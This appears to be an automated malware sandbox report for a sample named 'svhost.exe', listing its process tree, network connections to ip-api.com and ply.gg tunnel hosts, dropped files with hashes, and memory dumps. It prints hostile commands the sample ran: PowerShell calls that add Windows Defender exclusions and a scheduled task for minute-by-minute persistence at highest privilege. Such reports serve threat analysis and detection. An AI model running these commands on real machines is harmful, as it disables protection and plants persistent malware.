"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svhost.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svhost.exe'
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3140 -s 3488
C:\Windows\explorer.exe
explorer.exe
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Local\Temp\svhost.exe"
C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
"C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca
C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
"C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
C:\Users\Admin\AppData\Local\Temp\svhost.exe
C:\Users\Admin\AppData\Local\Temp\svhost.exe
C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 64.43.201.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | available-music.gl.at.ply.gg | udp |
| US | 147.185.221.17:43415 | available-music.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | done-declared.gl.at.ply.gg | udp |
| US | 147.185.221.17:43143 | done-declared.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 17.221.185.147.in-addr.arpa | udp |
Files
memory/520-0-0x00007FFAA1590000-0x00007FFAA176B000-memory.dmp
memory/520-1-0x0000000000300000-0x0000000000376000-memory.dmp
C:\Users\Admin\AppData\Roaming\svhost.exe
| MD5 | b4524c819024736dd6ca82334265f22c |
| SHA1 | cf80e2ee602ad13539ea6cfcbe0a8147d79e2973 |
| SHA256 | de2df34c31c05085fa6266b42b7bf3416b4942a0d130509c1f584dfc6734dacd |
| SHA512 | abeb45be6823df12a20f32b9e89cbab50d42506efaa7cde2f0132f1c0232de6d90014966f671a7c6fc6179762cb25e2310d3ddda7fefda9fcd4a330a0070b2ca |
memory/4952-11-0x00007FFAA1590000-0x00007FFAA176B000-memory.dmp
memory/520-13-0x00007FFAA1590000-0x00007FFAA176B000-memory.dmp
memory/4952-12-0x0000000000DE0000-0x0000000000DF2000-memory.dmp
C:\Users\Admin\AppData\Roaming\xMultiPower.bat
| MD5 | 1ea03fad3259b7e127f5e05879db00a9 |
| SHA1 | 5a0a28fa51768019339626fc0d10777e0860c4cb |
| SHA256 | 3a1da018b43f1dd10eb3675d7b636bd32cb0df9e652a14e243f88953f04c8e89 |
| SHA512 | c0c58b8bf5711a59bcb8bc34ee328b217f958f77307650ec3084d3c170fb1e7aab42cd4a6e996e53261a630d79ffb5e354ca6f109764e5a6ff805ea1e0a78777 |
memory/1416-19-0x000001DDF1A60000-0x000001DDF1A82000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gn2ikb0w.3hs.ps1
| MD5 | c4ca4238a0b923820dcc509a6f75849b |
| SHA1 | 356a192b7913b04c54574d18c28d46e6395428ab |
| SHA256 | 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b |
| SHA512 | 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a |
memory/1416-48-0x000001DDF1F40000-0x000001DDF1F7C000-memory.dmp
memory/1416-59-0x000001DDF2000000-0x000001DDF2076000-memory.dmp
memory/4952-60-0x00007FFAA1590000-0x00007FFAA176B000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 8592ba100a78835a6b94d5949e13dfc1 |
| SHA1 | 63e901200ab9a57c7dd4c078d7f75dcd3b357020 |
| SHA256 | fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c |
| SHA512 | 87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | a953721d088e3d07456fdfca2220f99c |
| SHA1 | 5b12aded20d8ab611f9e8fa25d458f9ef0f91a72 |
| SHA256 | 7dcf742206203a1a98cc04e546ae8482a43e6c1a449e34fb1f5a97b414af66e4 |
| SHA512 | 77564f706ffda97a399c1c06b12774385f2f4a64c74037069c6d2549dc5bf127b5f70bfaefb30b0e76a9aae360131b4203e2fd2de2a8b6ff89cc420b63a3fb18 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 4019ef695487f59a0eca3a156fa35bac |
| SHA1 | 35412d1070e490d2efd07a05eb4170a07a47ce54 |
| SHA256 | 2ed5f3242000d25f1b3657f64135938256f4a0137ef13adeed5a34f58596fc92 |
| SHA512 | f43d0bde03280a0fa3901573578a948b8c31f5986692c7a1dd54433da58b84964bc41998963fbc443229fd21f34f029bdc294d3ed69ae376cb4bb181246c8e92 |
memory/1416-165-0x000001DDF1FA0000-0x000001DDF1FA8000-memory.dmp
memory/1416-166-0x000001DDF1FB0000-0x000001DDF1FFC000-memory.dmp
memory/3140-181-0x00000000006E0000-0x000000000070A000-memory.dmp
memory/1416-239-0x000001DDF2080000-0x000001DDF2094000-memory.dmp
memory/1860-244-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/2808-254-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/1260-245-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/2440-253-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/1760-242-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/2452-243-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/1820-265-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/1056-260-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/852-259-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/1268-258-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/4660-252-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/1092-251-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/744-250-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/420-255-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/1420-249-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/1752-248-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/1572-247-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/812-246-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/1644-257-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/1208-267-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/2736-256-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
memory/1604-266-0x00007FFA61620000-0x00007FFA61630000-memory.dmp
C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\RCSGR7MS\microsoft.windows[1].xml
| MD5 | 2fbfc7865961f0bddd5bdacbfaf10377 |
| SHA1 | 0fa08923c7d682dfb825ae49d01fd11053167caf |
| SHA256 | 1c46406a1c5b94c1660688abe05373522f066f63c632b896d63a9d6b2bd14a2c |
| SHA512 | c25708f1e47567194c86b87c2b3c49d25634cd820867ce1dfe9a8494a2eae0a58cbeb767415d1ae8211c2184c2d3f16ced248e293cd3211059618a5d56f5c617 |
C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt
| MD5 | 970211af3cccda80e4db355181c57e69 |
| SHA1 | 9d1db00434ba88ac9fa8707118b8a0a472bd7b38 |
| SHA256 | 023c2f99f1c15f6973bac13db1dbd7b871bc8ebcdcc9946ac0cdf8c852f25db5 |
| SHA512 | 3efc780d3f3102920e09b4d838aa5c6ac8c95665d881982fb5c6055ce0c7ebd83c160aee15961c1403000e2a79eed76e2b83cf3507a92401aa003750f0a0a92b |
memory/4952-554-0x00007FFAA1590000-0x00007FFAA176B000-memory.dmp
memory/4952-695-0x00007FFAA1590000-0x00007FFAA176B000-memory.dmp